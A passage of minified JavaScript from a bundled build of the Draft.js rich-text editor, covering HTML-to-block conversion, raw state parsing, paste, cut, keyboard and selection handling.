this.contentBlocks=[],this.currentDepth=0,(e=this.blockConfigs).push.apply(e,this._toBlockConfigs([t],_())),this._trimCurrentText(),""!==this.currentText&&this.blockConfigs.push(this._makeBlockConfig()),this},e.getContentBlocks=function(){return 0===this.contentBlocks.length&&(k?this._toContentBlocks(this.blockConfigs):this._toFlatContentBlocks(this.blockConfigs)),{contentBlocks:this.contentBlocks,entityMap:this.entityMap}},e._makeBlockConfig=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=i({key:t.key||h(),type:this.currentBlockType,text:this.currentText,characterList:this.characterList,depth:this.currentDepth,parent:null,children:v(),prevSibling:null,nextSibling:null,childConfigs:[]},t);return this.characterList=v(),this.currentBlockType="unstyled",this.currentText="",e},e._toBlockConfigs=function(t,e){for(var r=[],n=0;n<t.length;n++){var i=t[n],o=i.nodeName.toLowerCase();if("body"===o||U(o)){this._trimCurrentText(),""!==this.currentText&&r.push(this._makeBlockConfig());var a=this.currentDepth,s=this.wrapper;U(o)&&(this.wrapper=o,U(s)&&this.currentDepth++),r.push.apply(r,this._toBlockConfigs(Array.from(i.childNodes),e)),this.currentDepth=a,this.wrapper=s}else{var u=this.blockTypeMap.get(o);if(void 0===u)if("#text"!==o)if("br"!==o)if(z(i))this._addImgNode(i,e);else if(P(i))this._addAnchorNode(i,r,e);else{var c=e;R.has(o)&&(c=c.add(R.get(o))),c=j(i,c);var l=N(i);null!=l&&(c=c.add(l)),r.push.apply(r,this._toBlockConfigs(Array.from(i.childNodes),c))}else this._addBreakNode(i,e);else this._addTextNode(i,e);else{this._trimCurrentText(),""!==this.currentText&&r.push(this._makeBlockConfig());var f=this.currentDepth,p=this.wrapper;if(this.wrapper="pre"===o?"pre":this.wrapper,"string"!=typeof u&&(u=this.disambiguate(o,this.wrapper)||u[0]||"unstyled"),!k&&w(i)&&("unordered-list-item"===u||"ordered-list-item"===u)){var d=i;this.currentDepth=F(d,this.currentDepth)}var g=h(),y=this._toBlockConfigs(Array.from(i.childNodes),e);this._trimCurrentText(),r.push(this._makeBlockConfig({key:g,childConfigs:y,type:u})),this.currentDepth=f,this.wrapper=p}}}return r},e._appendText=function(t,e){var r;this.currentText+=t;var n=a.create({style:e,entity:this.currentEntity});this.characterList=(r=this.characterList).push.apply(r,Array(t.length).fill(n))},e._trimCurrentText=function(){var t=this.currentText.length,e=t-this.currentText.trimLeft().length,r=this.currentText.trimRight().length,n=this.characterList.findEntry((function(t){return null!==t.getEntity()}));(e=void 0!==n?Math.min(e,n[0]):e)>(r=void 0!==(n=this.characterList.reverse().findEntry((function(t){return null!==t.getEntity()})))?Math.max(r,t-n[0]):r)?(this.currentText="",this.characterList=v()):(this.currentText=this.currentText.slice(e,r),this.characterList=this.characterList.slice(e,r))},e._addTextNode=function(t,e){var r=t.textContent;""===r.trim()&&"pre"!==this.wrapper&&(r=" "),"pre"!==this.wrapper&&(r=(r=r.replace(O,"")).replace(E," ")),this._appendText(r,e)},e._addBreakNode=function(t,e){S(t)&&this._appendText("\n",e)},e._addImgNode=function(t,e){if(x(t)){var r=t,n={};B.forEach((function(t){var e=r.getAttribute(t);e&&(n[t]=e)})),this.currentEntity=this.entityMap.__create("IMAGE","IMMUTABLE",n),g("draftjs_fix_paste_for_img")?"presentation"!==r.getAttribute("role")&&this._appendText("📷",e):this._appendText("📷",e),this.currentEntity=null}},e._addAnchorNode=function(t,e,r){if(b(t)){var n=t,i={};I.forEach((function(t){var e=n.getAttribute(t);e&&(i[t]=e)})),i.url=new f(n.href).toString(),this.currentEntity=this.entityMap.__create("LINK","MUTABLE",i||{}),e.push.apply(e,this._toBlockConfigs(Array.from(t.childNodes),r)),this.currentEntity=null}},e._toContentBlocks=function(t){for(var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,r=t.length-1,n=0;n<=r;n++){var o=t[n];o.parent=e,o.prevSibling=n>0?t[n-1].key:null,o.nextSibling=n<r?t[n+1].key:null,o.children=v(o.childConfigs.map((function(t){return t.key}))),this.contentBlocks.push(new u(i({},o))),this._toContentBlocks(o.childConfigs,o.key)}},e._hoistContainersInBlockConfigs=function(t){var e=this;return v(t).flatMap((function(t){return"unstyled"!==t.type||""!==t.text?[t]:e._hoistContainersInBlockConfigs(t.childConfigs)}))},e._toFlatContentBlocks=function(t){var e=this;this._hoistContainersInBlockConfigs(t).forEach((function(t){var r=e._extractTextFromBlockConfigs(t.childConfigs),n=r.text,o=r.characterList;e.contentBlocks.push(new s(i({},t,{text:t.text+n,characterList:t.characterList.concat(o)})))}))},e._extractTextFromBlockConfigs=function(t){for(var e=t.length-1,r="",n=v(),i=0;i<=e;i++){var o=t[i];r+=o.text,n=n.concat(o.characterList),""!==r&&"unstyled"!==o.type&&(r+="\n",n=n.push(n.last()));var a=this._extractTextFromBlockConfigs(o.childConfigs);r+=a.text,n=n.concat(a.characterList)}return{text:r,characterList:n}},t}();t.exports=function(t){var e=arguments.length>2&&void 0!==arguments[2]?arguments[2]:c,r=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:d)(t=t.trim().replace(C,"").replace(D," ").replace(K,"").replace(T,""));if(!r)return null;var n=function(t){var e={};return t.mapKeys((function(t,r){var n=[r.element];void 0!==r.aliasedElements&&n.push.apply(n,r.aliasedElements),n.forEach((function(r){void 0===e[r]?e[r]=t:"string"==typeof e[r]?e[r]=[e[r],t]:e[r].push(t)}))})),m(e)}(e);return new q(n,(function(t,e){return"li"===t?"ol"===e?"ordered-list-item":"unordered-list-item":null})).addDOMNode(r).getContentBlocks()}},99607:(t,e,r)=>{"use strict";function n(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){i(t,e,r[e])}))}return t}function i(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var o=r(38777),a=r(67953),s=r(66912),u=r(82222),c=r(68957),l=(r(12119),r(25110)),f=r(86019),p=r(67134),h=r(59672),d=r(25027),g=r(68642),y=r(43393),v=r(73759),m=g("draft_tree_data_support"),_=y.List,b=y.Map,S=y.OrderedMap,w=function(t,e){var r=t.key,n=t.type,i=t.data;return{text:t.text,depth:t.depth||0,type:n||"unstyled",key:r||d(),data:b(i),characterList:x(t,e)}},x=function(t,e){var r=t.text,i=t.entityRanges,o=t.inlineStyleRanges,a=i||[];return f(h(r,o||[]),p(r,a.filter((function(t){return e.hasOwnProperty(t.key)})).map((function(t){return n({},t,{key:e[t.key]})}))))},k=function(t){return n({},t,{key:t.key||d()})},C=function(t,e,r){var i=e.map((function(t){return n({},t,{parentRef:r})}));return t.concat(i.reverse())};t.exports=function(t){Array.isArray(t.blocks)||v(!1);var e=function(t){var e=t.entityMap,r={};return Object.keys(e).forEach((function(t){var n=e[t],i=n.type,o=n.mutability,a=n.data;r[t]=u.__create(i,o,a||{})})),r}(t),r=function(t,e){var r=t.blocks.find((function(t){return Array.isArray(t.children)&&t.children.length>0})),i=m&&!r?c.fromRawStateToRawTreeState(t).blocks:t.blocks;if(!m)return function(t,e){return S(t.map((function(t){var r=new o(w(t,e));return[r.getKey(),r]})))}(r?c.fromRawTreeStateToRawState(t).blocks:i,e);var s=function(t,e){return t.map(k).reduce((function(r,i,o){Array.isArray(i.children)||v(!1);var s=i.children.map(k),u=new a(n({},w(i,e),{prevSibling:0===o?null:t[o-1].key,nextSibling:o===t.length-1?null:t[o+1].key,children:_(s.map((function(t){return t.key})))}));r=r.set(u.getKey(),u);for(var c=C([],s,u);c.length>0;){var l=c.pop(),f=l.parentRef,p=f.getChildKeys(),h=p.indexOf(l.key),d=Array.isArray(l.children);if(!d){d||v(!1);break}var g=l.children.map(k),y=new a(n({},w(l,e),{parent:f.getKey(),children:_(g.map((function(t){return t.key}))),prevSibling:0===h?null:p.get(h-1),nextSibling:h===p.size-1?null:p.get(h+1)}));r=r.set(y.getKey(),y),c=C(c,g,y)}return r}),S())}(i,e);return s}(t,e),i=r.isEmpty()?new l:l.createEmpty(r.first().getKey());return new s({blockMap:r,entityMap:e,selectionBefore:i,selectionAfter:i})}},86019:(t,e,r)=>{"use strict";var n=r(4516),i=r(43393).List;t.exports=function(t,e){var r=t.map((function(t,r){var i=e[r];return n.create({style:t,entity:i})}));return i(r)}},67134:(t,e,r)=>{"use strict";var n=r(38935).substr;t.exports=function(t,e){var r=Array(t.length).fill(null);return e&&e.forEach((function(e){for(var i=n(t,0,e.offset).length,o=i+n(t,e.offset,e.length).length,a=i;a<o;a++)r[a]=e.key})),r}},59672:(t,e,r)=>{"use strict";var n=r(38935),i=r(43393).OrderedSet,o=n.substr,a=i();t.exports=function(t,e){var r=Array(t.length).fill(a);return e&&e.forEach((function(e){for(var n=o(t,0,e.offset).length,i=n+o(t,e.offset,e.length).length;n<i;)r[n]=r[n].add(e.style),n++})),r}},99407:t=>{"use strict";t.exports={notEmptyKey:function(t){return null!=t&&""!=t}}},26396:(t,e,r)=>{"use strict";var n=r(42307),i=r(14289),o=r(4856),a=r(42128),s=r(42177),u=r(40258),c=r(22045),l=r(56926),f=o.isBrowser("Firefox");function p(t,e,r,o,a){var s=n.replaceText(t.getCurrentContent(),t.getSelection(),e,r,o);return i.push(t,s,"insert-characters",a)}t.exports=function(t,e){void 0!==t._pendingStateFromBeforeInput&&(t.update(t._pendingStateFromBeforeInput),t._pendingStateFromBeforeInput=void 0);var r=t._latestEditorState,n=e.data;if(n)if(t.props.handleBeforeInput&&s(t.props.handleBeforeInput(n,r,e.timeStamp)))e.preventDefault();else{var o=r.getSelection(),h=o.getStartOffset(),d=o.getAnchorKey();if(!o.isCollapsed())return e.preventDefault(),void t.update(p(r,n,r.getCurrentInlineStyle(),a(r.getCurrentContent(),r.getSelection()),!0));var g,y=p(r,n,r.getCurrentInlineStyle(),a(r.getCurrentContent(),r.getSelection()),!1),v=!1;if(v||(v=u(t._latestCommittedEditorState)),!v){var m=r.getBlockTree(d),_=y.getBlockTree(d);v=m.size!==_.size||m.zip(_).some((function(t){var e=t[0],r=t[1],i=e.get("start"),o=i+(i>=h?n.length:0),a=e.get("end"),s=a+(a>=h?n.length:0),u=r.get("start"),c=r.get("end"),l=r.get("decoratorKey");return e.get("decoratorKey")!==l||e.get("leaves").size!==r.get("leaves").size||o!==u||s!==c||null!=l&&c-u!=a-i}))}if(v||(g=n,v=f&&("'"==g||"/"==g)),v||(v=c(y.getDirectionMap()).get(d)!==c(r.getDirectionMap()).get(d)),v)return e.preventDefault(),y=i.set(y,{forceSelection:!0}),void t.update(y);y=i.set(y,{nativelyRenderedContent:y.getCurrentContent()}),t._pendingStateFromBeforeInput=y,l((function(){void 0!==t._pendingStateFromBeforeInput&&(t.update(t._pendingStateFromBeforeInput),t._pendingStateFromBeforeInput=void 0)}))}}},43421:(t,e,r)=>{"use strict";var n=r(14289),i=r(67476),o=r(31003);t.exports=function(t,e){var r=e.currentTarget.ownerDocument;if(!Boolean(t.props.preserveSelectionOnBlur)&&o(r)===r.body){var a=r.defaultView.getSelection(),s=t.editor;1===a.rangeCount&&i(s,a.anchorNode)&&i(s,a.focusNode)&&a.removeAllRanges()}var u=t._latestEditorState,c=u.getSelection();if(c.getHasFocus()){var l=c.set("hasFocus",!1);t.props.onBlur&&t.props.onBlur(e),t.update(n.acceptSelection(u,l))}}},6155:(t,e,r)=>{"use strict";var n=r(14289);t.exports=function(t,e){t.setMode("composite"),t.update(n.set(t._latestEditorState,{inCompositionMode:!0})),t._onCompositionStart(e)}},69328:(t,e,r)=>{"use strict";var n=r(94882);t.exports=function(t,e){t._latestEditorState.getSelection().isCollapsed()?e.preventDefault():t.setClipboard(n(t._latestEditorState))}},73935:(t,e,r)=>{"use strict";var n=r(42307),i=r(14289),o=r(19051),a=r(94882),s=r(79749),u=r(80809);t.exports=function(t,e){var r,c=t._latestEditorState,l=c.getSelection(),f=e.target;if(l.isCollapsed())e.preventDefault();else{if(u(f)){var p=f;r=s(o.getScrollParent(p))}var h=a(c);t.setClipboard(h),t.setMode("cut"),setTimeout((function(){t.restoreEditorDOM(r),t.exitCurrentMode(),t.update(function(t){var e=n.removeRange(t.getCurrentContent(),t.getSelection(),"forward");return i.push(t,e,"remove-range")}(c))}),0)}}},39499:t=>{"use strict";t.exports=function(t,e){t.setMode("drag"),e.preventDefault()}},80981:t=>{"use strict";t.exports=function(t){t._internalDrag=!0,t.setMode("drag")}},62186:(t,e,r)=>{"use strict";var n=r(14289),i=r(4856);t.exports=function(t,e){var r=t._latestEditorState,o=r.getSelection();if(!o.getHasFocus()){var a=o.set("hasFocus",!0);t.props.onFocus&&t.props.onFocus(e),i.isBrowser("Chrome < 60.0.3081.0")?t.update(n.forceSelection(r,a)):t.update(n.acceptSelection(r,a))}}},29971:(t,e,r)=>{"use strict";var n=r(42307),i=r(22146),o=r(14289),a=r(4856),s=r(99407).notEmptyKey,u=r(69270),c=r(62800),l=r(22045),f=a.isEngine("Gecko");t.exports=function(t,e){void 0!==t._pendingStateFromBeforeInput&&(t.update(t._pendingStateFromBeforeInput),t._pendingStateFromBeforeInput=void 0);var r=t.editor.ownerDocument.defaultView.getSelection(),a=r.anchorNode,p=r.isCollapsed,h=(null==a?void 0:a.nodeType)!==Node.TEXT_NODE&&(null==a?void 0:a.nodeType)!==Node.ELEMENT_NODE;if(null!=a&&!h){if(a.nodeType===Node.TEXT_NODE&&(null!==a.previousSibling||null!==a.nextSibling)){var d=a.parentNode;if(null==d)return;a.nodeValue=d.textContent;for(var g=d.firstChild;null!=g;g=g.nextSibling)g!==a&&d.removeChild(g)}var y=a.textContent,v=t._latestEditorState,m=l(u(a)),_=i.decode(m),b=_.blockKey,S=_.decoratorKey,w=_.leafKey,x=v.getBlockTree(b).getIn([S,"leaves",w]),k=x.start,C=x.end,E=v.getCurrentContent(),O=E.getBlockForKey(b),D=O.getText().slice(k,C);if(y.endsWith("\n\n")&&(y=y.slice(0,-1)),y!==D){var K,T,M,A,I=v.getSelection(),B=I.merge({anchorOffset:k,focusOffset:C,isBackward:!1}),L=O.getEntityAt(k),R=s(L)?E.getEntity(L):null,N="MUTABLE"===(null!=R?R.getMutability():null),F=N?"spellcheck-change":"apply-entity",P=n.replaceText(E,B,y,O.getInlineStyleAt(k),N?O.getEntityAt(k):null);if(f)K=r.anchorOffset,T=r.focusOffset,A=(M=k+Math.min(K,T))+Math.abs(K-T),K=M,T=A;else{var z=y.length-D.length;M=I.getStartOffset(),A=I.getEndOffset(),K=p?A+z:M,T=A+z}var j=P.merge({selectionBefore:E.getSelectionAfter(),selectionAfter:I.merge({anchorOffset:K,focusOffset:T})});t.update(o.push(v,j,F))}else{var U=e.nativeEvent.inputType;if(U){var q=function(t,e){return"deleteContentBackward"===t?c(e):e}(U,v);if(q!==v)return t.restoreEditorDOM(),void t.update(q)}}}}},46397:(t,e,r)=>{"use strict";var n=r(42307),i=r(14289),o=r(47387),a=r(25399),s=r(83751),u=r(4856),c=r(42177),l=r(49779),f=r(51050),p=r(13767),h=r(77978),d=r(67217),g=r(8425),y=r(62800),v=r(13998),m=r(53318),_=r(87051),b=o.isOptionKeyCommand,S=u.isBrowser("Chrome");t.exports=function(t,e){var r=e.which,o=t._latestEditorState;function u(r){var n=t.props[r];return!!n&&(n(e),!0)}switch(r){case a.RETURN:if(e.preventDefault(),t.props.handleReturn&&c(t.props.handleReturn(e,o)))return;break;case a.ESC:if(e.preventDefault(),u("onEscape"))return;break;case a.TAB:if(u("onTab"))return;break;case a.UP:if(u("onUpArrow"))return;break;case a.RIGHT:if(u("onRightArrow"))return;break;case a.DOWN:if(u("onDownArrow"))return;break;case a.LEFT:if(u("onLeftArrow"))return;break;case a.SPACE:S&&b(e)&&e.preventDefault()}var w=t.props.keyBindingFn(e);if(null!=w&&""!==w)if("undo"!==w){if(e.preventDefault(),!t.props.handleKeyCommand||!c(t.props.handleKeyCommand(w,o,e.timeStamp))){var x=function(t,e,r){switch(t){case"redo":return i.redo(e);case"delete":return v(e);case"delete-word":return p(e);case"backspace":return y(e);case"backspace-word":return f(e);case"backspace-to-start-of-line":return l(e,r);case"split-block":return h(e);case"transpose-characters":return m(e);case"move-selection-to-start-of-block":return g(e);case"move-selection-to-end-of-block":return d(e);case"secondary-cut":return s.cut(e);case"secondary-paste":return s.paste(e);default:return e}}(w,o,e);x!==o&&t.update(x)}}else _(e,o,t.update);else if(r===a.SPACE&&S&&b(e)){var k=n.replaceText(o.getCurrentContent(),o.getSelection()," ");t.update(i.push(o,k,"insert-characters"))}}},6089:(t,e,r)=>{"use strict";var n=r(10329),i=r(4516),o=r(44891),a=r(42307),s=r(45712),u=r(14289),c=r(41947),l=r(42128),f=r(21738),p=r(42177),h=r(44300);function d(t,e,r){var n=a.replaceWithFragment(t.getCurrentContent(),t.getSelection(),e);return u.push(t,n.set("entityMap",r),"insert-fragment")}t.exports=function(t,e){e.preventDefault();var r=new o(e.clipboardData);if(!r.isRichText()){var g=r.getFiles(),y=r.getText();if(g.length>0){if(t.props.handlePastedFiles&&p(t.props.handlePastedFiles(g)))return;return void f(g,(function(e){if(e=e||y){var r=t._latestEditorState,o=h(e),f=i.create({style:r.getCurrentInlineStyle(),entity:l(r.getCurrentContent(),r.getSelection())}),p=c.getCurrentBlockType(r),d=s.processText(o,f,p),g=n.createFromArray(d),v=a.replaceWithFragment(r.getCurrentContent(),r.getSelection(),g);t.update(u.push(r,v,"insert-fragment"))}}))}}var v=[],m=r.getText(),_=r.getHTML(),b=t._latestEditorState;if(t.props.formatPastedText){var S=t.props.formatPastedText(m,_);m=S.text,_=S.html}if(!t.props.handlePastedText||!p(t.props.handlePastedText(m,_,b))){if(m&&(v=h(m)),!t.props.stripPastedStyles){var w,x=t.getClipboard();if(!t.props.formatPastedText&&r.isRichText()&&x){if(-1!==(null===(w=_)||void 0===w?void 0:w.indexOf(t.getEditorKey()))||1===v.length&&1===x.size&&x.first().getText()===m)return void t.update(d(t._latestEditorState,x))}else if(x&&r.types.includes("com.apple.webarchive")&&!r.types.includes("text/html")&&function(t,e){return t.length===e.size&&e.valueSeq().every((function(e,r){return e.getText()===t[r]}))}(v,x))return void t.update(d(t._latestEditorState,x));if(_){var k=s.processHTML(_,t.props.blockRenderMap);if(k){var C=k.contentBlocks,E=k.entityMap;if(C){var O=n.createFromArray(C);return void t.update(d(t._latestEditorState,O,E))}}}t.setClipboard(null)}if(v.length){var D=i.create({style:b.getCurrentInlineStyle(),entity:l(b.getCurrentContent(),b.getSelection())}),K=c.getCurrentBlockType(b),T=s.processText(v,D,K),M=n.createFromArray(T);t.update(d(t._latestEditorState,M))}}}},14507:(t,e,r)=>{"use strict";var n=r(97432),i=r(14289),o=r(84907),a=r(1244);t.exports=function(t){if(t._blockSelectEvents||t._latestEditorState!==t.props.editorState){if(t._blockSelectEvents){var e=t.props.editorState.getSelection();n.logBlockedSelectionEvent({anonymizedDom:"N/A",extraParams:JSON.stringify({stacktrace:(new Error).stack}),selectionState:JSON.stringify(e.toJS())})}}else{var r=t.props.editorState,s=a(r,o(t)),u=s.selectionState;u!==r.getSelection()&&(r=s.needsRecovery?i.forceSelection(r,u):i.acceptSelection(r,u),t.update(r))}}},56265:(t,e,r)=>{"use strict";var n=r(86155),i=r(38935).strlen;t.exports=function(t,e){var r=[];return t.findEntityRanges((function(t){return!!t.getEntity()}),(function(o,a){var s=t.getText(),u=t.getEntityAt(o);r.push({offset:i(s.slice(0,o)),length:i(s.slice(o,a)),key:Number(e[n.stringify(u)])})})),r}},31487:(t,e,r)=>{"use strict";var n=r(38935),i=r(29407),o=function(t,e){return t===e},a=function(t){return!!t},s=[];t.exports=function(t){var e=t.getCharacterList().map((function(t){return t.getStyle()})).toList(),r=e.flatten().toSet().map((function(r){return function(t,e,r){var s=[],u=e.map((function(t){return t.has(r)})).toList();return i(u,o,a,(function(e,i){var o=t.getText();s.push({offset:n.strlen(o.slice(0,e)),length:n.strlen(o.slice(e,i)),style:r})})),s}(t,e,r)}));return Array.prototype.concat.apply(s,r.toJS())}},88182:(t,e,r)=>{"use strict";var n=r(38935),i=r(75795),o=r(6092),a=r(73759);function s(t,e){for(var r=1/0,n=1/0,i=-1/0,o=-1/0,a=0;a<t.length;a++){var s=t[a];0!==s.width&&1!==s.width&&(r=Math.min(r,s.top),n=Math.min(n,s.bottom),i=Math.max(i,s.top),o=Math.max(o,s.bottom))}return i<=n&&i-r<e&&o-n<e}function u(t){switch(t.nodeType){case Node.DOCUMENT_TYPE_NODE:return 0;case Node.TEXT_NODE:case Node.PROCESSING_INSTRUCTION_NODE:case Node.COMMENT_NODE:return t.length;default:return t.childNodes.length}}t.exports=function(t){t.collapsed||a(!1);var e=(t=t.cloneRange()).startContainer;1!==e.nodeType&&(e=e.parentNode);var r=function(t){var e=getComputedStyle(t),r=i(t),n=r.createElement("div");n.style.fontFamily=e.fontFamily,n.style.fontSize=e.fontSize,n.style.fontStyle=e.fontStyle,n.style.fontWeight=e.fontWeight,n.style.lineHeight=e.lineHeight,n.style.position="absolute",n.textContent="M";var o=r.body;o||a(!1),o.appendChild(n);var s=n.getBoundingClientRect();return o.removeChild(n),s.height}(e),c=t.endContainer,l=t.endOffset;for(t.setStart(t.startContainer,0);s(o(t),r)&&(c=t.startContainer,l=t.startOffset,c.parentNode||a(!1),t.setStartBefore(c),1!==c.nodeType||"inline"===getComputedStyle(c).display););for(var f=c,p=l-1;;){for(var h=f.nodeValue,d=p;d>=0;d--)if(!(null!=h&&d>0&&n.isSurrogatePair(h,d-1))){if(t.setStart(f,d),!s(o(t),r))break;c=f,l=d}if(-1===d||0===f.childNodes.length)break;p=u(f=f.childNodes[d])}return t.setStart(c,l),t}},69270:(t,e,r)=>{"use strict";var n=r(75795),i=r(93578);t.exports=function(t){for(var e=t;e&&e!==n(t).documentElement;){var r=i(e);if(null!=r)return r;e=e.parentNode}return null}},29407:t=>{"use strict";t.exports=function(t,e,r,n){if(t.size){var i=0;t.reduce((function(t,o,a){return e(t,o)||(r(t)&&n(i,a),i=a),o})),r(t.last())&&n(i,t.count())}}},25027:t=>{"use strict";var e={},r=Math.pow(2,24);t.exports=function(){for(var t;void 0===t||e.hasOwnProperty(t)||!isNaN(+t);)t=Math.floor(Math.random()*r).toString(32);return e[t]=!0,t}},81446:(t,e,r)=>{"use strict";var n=r(5195),i=r(64994),o=r(73759);function a(t,e,r,a,s,u,c){var l=r.getStartOffset(),f=r.getEndOffset(),p=t.__get(s).getMutability(),h=c?l:f;if("MUTABLE"===p)return r;var d=i(e,s).filter((function(t){return h<=t.end&&h>=t.start}));1!=d.length&&o(!1);var g=d[0];if("IMMUTABLE"===p)return r.merge({anchorOffset:g.start,focusOffset:g.end,isBackward:!1});u||(c?f=g.end:l=g.start);var y=n.getRemovalRange(l,f,e.getText().slice(g.start,g.end),g.start,a);return r.merge({anchorOffset:y.start,focusOffset:y.end,isBackward:!1})}t.exports=function(t,e,r,n,i){var o=n.getStartOffset(),s=n.getEndOffset(),u=e.getEntityAt(o),c=r.getEntityAt(s-1);if(!u&&!c)return n;var l=n;if(u&&u===c)l=a(t,e,l,i,u,!0,!0);else if(u&&c){var f=a(t,e,l,i,u,!1,!0),p=a(t,r,l,i,c,!1,!1);l=l.merge({anchorOffset:f.getAnchorOffset(),focusOffset:p.getFocusOffset(),isBackward:!1})}else if(u){var h=a(t,e,l,i,u,!1,!0);l=l.merge({anchorOffset:h.getStartOffset(),isBackward:!1})}else if(c){var d=a(t,r,l,i,c,!1,!1);l=l.merge({focusOffset:d.getEndOffset(),isBackward:!1})}return l}},84907:(t,e,r)=>{"use strict";var n=r(73759),i=r(20717);t.exports=function(t){var e=t.editorContainer;return e||n(!1),i(e.firstChild)||n(!1),e.firstChild}},88687:(t,e,r)=>{"use strict";var n=r(98555),i=r(14017);t.exports=function(t,e){var r=e.getStartKey(),o=e.getStartOffset(),a=e.getEndKey(),s=e.getEndOffset(),u=i(t,e).getBlockMap(),c=u.keySeq(),l=c.indexOf(r),f=c.indexOf(a)+1;return n(u.slice(l,f).map((function(t,e){var n=t.getText(),i=t.getCharacterList();return r===a?t.merge({text:n.slice(o,s),characterList:i.slice(o,s)}):e===r?t.merge({text:n.slice(o),characterList:i.slice(o)}):e===a?t.merge({text:n.slice(0,s),characterList:i.slice(0,s)}):t})))}},75795:t=>{"use strict";t.exports=function(t){return t&&t.ownerDocument?t.ownerDocument:document}},41714:(t,e,r)=>{"use strict";var n=r(47387),i=r(25399),o=r(4856),a=o.isPlatform("Mac OS X"),s=a&&o.isBrowser("Firefox < 29"),u=n.hasCommandModifier,c=n.isCtrlKeyCommand;function l(t){return a&&t.altKey||c(t)}t.exports=function(t){switch(t.keyCode){case 66:return u(t)?"bold":null;case 68:return c(t)?"delete":null;case 72:return c(t)?"backspace":null;case 73:return u(t)?"italic":null;case 74:return u(t)?"code":null;case 75:return a&&c(t)?"secondary-cut":null;case 77:case 79:return c(t)?"split-block":null;case 84:return a&&c(t)?"transpose-characters":null;case 85:return u(t)?"underline":null;case 87:return a&&c(t)?"backspace-word":null;case 89:return c(t)?a?"secondary-paste":"redo":null;case 90:return function(t){return u(t)?t.shiftKey?"redo":"undo":null}(t)||null;case i.RETURN:return"split-block";case i.DELETE:return function(t){return!a&&t.shiftKey?null:l(t)?"delete-word":"delete"}(t);case i.BACKSPACE:return function(t){return u(t)&&a?"backspace-to-start-of-line":l(t)?"backspace-word":"backspace"}(t);case i.LEFT:return s&&u(t)?"move-selection-to-start-of-block":null;case i.RIGHT:return s&&u(t)?"move-selection-to-end-of-block":null;default:return null}}},1244:(t,e,r)=>{"use strict";var n=r(8101);t.exports=function(t,e){var r=e.ownerDocument.defaultView.getSelection(),i=r.anchorNode,o=r.anchorOffset,a=r.focusNode,s=r.focusOffset;return 0===r.rangeCount||null==i||null==a?{selectionState:t.getSelection().set("hasFocus",!1),needsRecovery:!1}:n(t,e,i,o,a,s)}},8101:(t,e,r)=>{"use strict";var n=r(69270),i=r(93578),o=r(94486),a=r(73759),s=r(84368),u=r(22045);function c(t,e,r){var o=e,c=n(o);if(null!=c||t&&(t===o||t.firstChild===o)||a(!1),t===o&&(o=o.firstChild,s(o)||a(!1),"true"!==o.getAttribute("data-contents")&&a(!1),r>0&&(r=o.childNodes.length)),0===r){var f=null;if(null!=c)f=c;else{var p=function(t){for(;t.firstChild&&(s(t.firstChild)&&"true"===t.firstChild.getAttribute("data-blocks")||i(t.firstChild));)t=t.firstChild;return t}(o);f=u(i(p))}return{key:f,offset:0}}var h=o.childNodes[r-1],d=null,g=null;if(i(h)){var y=function(t){for(;t.lastChild&&(s(t.lastChild)&&"true"===t.lastChild.getAttribute("data-blocks")||i(t.lastChild));)t=t.lastChild;return t}(h);d=u(i(y)),g=l(y)}else d=u(c),g=l(h);return{key:d,offset:g}}function l(t){var e=t.textContent;return"\n"===e?0:e.length}t.exports=function(t,e,r,i,a,s){var l=r.nodeType===Node.TEXT_NODE,f=a.nodeType===Node.TEXT_NODE;if(l&&f)return{selectionState:o(t,u(n(r)),i,u(n(a)),s),needsRecovery:!1};var p=null,h=null,d=!0;return l?(p={key:u(n(r)),offset:i},h=c(e,a,s)):f?(h={key:u(n(a)),offset:s},p=c(e,r,i)):(p=c(e,r,i),h=c(e,a,s),r===a&&i===s&&(d=!!r.firstChild&&"BR"!==r.firstChild.nodeName)),{selectionState:o(t,p.key,p.offset,h.key,h.offset),needsRecovery:d}}},42128:(t,e,r)=>{"use strict";var n=r(99407).notEmptyKey;function i(t,e){return n(e)&&"MUTABLE"===t.__get(e).getMutability()?e:null}t.exports=function(t,e){var r;if(e.isCollapsed()){var n=e.getAnchorKey(),o=e.getAnchorOffset();return o>0?(r=t.getBlockForKey(n).getEntityAt(o-1))!==t.getBlockForKey(n).getEntityAt(o)?null:i(t.getEntityMap(),r):null}var a=e.getStartKey(),s=e.getStartOffset(),u=t.getBlockForKey(a);return r=s===u.getLength()?null:u.getEntityAt(s),i(t.getEntityMap(),r)}},94882:(t,e,r)=>{"use strict";var n=r(88687);t.exports=function(t){var e=t.getSelection();return e.isCollapsed()?null:n(t.getCurrentContent(),e)}},39506:(t,e,r)=>{"use strict";var n=r(67953);t.exports=function(t,e){if(!(t instanceof n))return null;var r=t.getNextSiblingKey();if(r)return r;var i=t.getParentKey();if(!i)return null;for(var o=e.get(i);o&&!o.getNextSiblingKey();){var a=o.getParentKey();o=a?e.get(a):null}return o?o.getNextSiblingKey():null}},96495:t=>{"use strict";t.exports=function(t){return Object.keys(t).map((function(e){return t[e]}))}},98056:(t,e,r)=>{"use strict";var n=r(6092);t.exports=function(t){var e=n(t),r=0,i=0,o=0,a=0;if(e.length){if(e.length>1&&0===e[0].width){var s=e[1];r=s.top,i=s.right,o=s.bottom,a=s.left}else{var u=e[0];r=u.top,i=u.right,o=u.bottom,a=u.left}for(var c=1;c<e.length;c++){var l=e[c];0!==l.height&&0!==l.width&&(r=Math.min(r,l.top),i=Math.max(i,l.right),o=Math.max(o,l.bottom),a=Math.min(a,l.left))}}return{top:r,right:i,bottom:o,left:a,width:i-a,height:o-r}}},6092:(t,e,r)=>{"use strict";var n=r(4856),i=r(73759),o=n.isBrowser("Chrome")?function(t){for(var e=t.cloneRange(),r=[],n=t.endContainer;null!=n;n=n.parentNode){var o=n===t.commonAncestorContainer;o?e.setStart(t.startContainer,t.startOffset):e.setStart(e.endContainer,0);var a,s=Array.from(e.getClientRects());if(r.push(s),o)return r.reverse(),(a=[]).concat.apply(a,r);e.setEndBefore(n)}i(!1)}:function(t){return 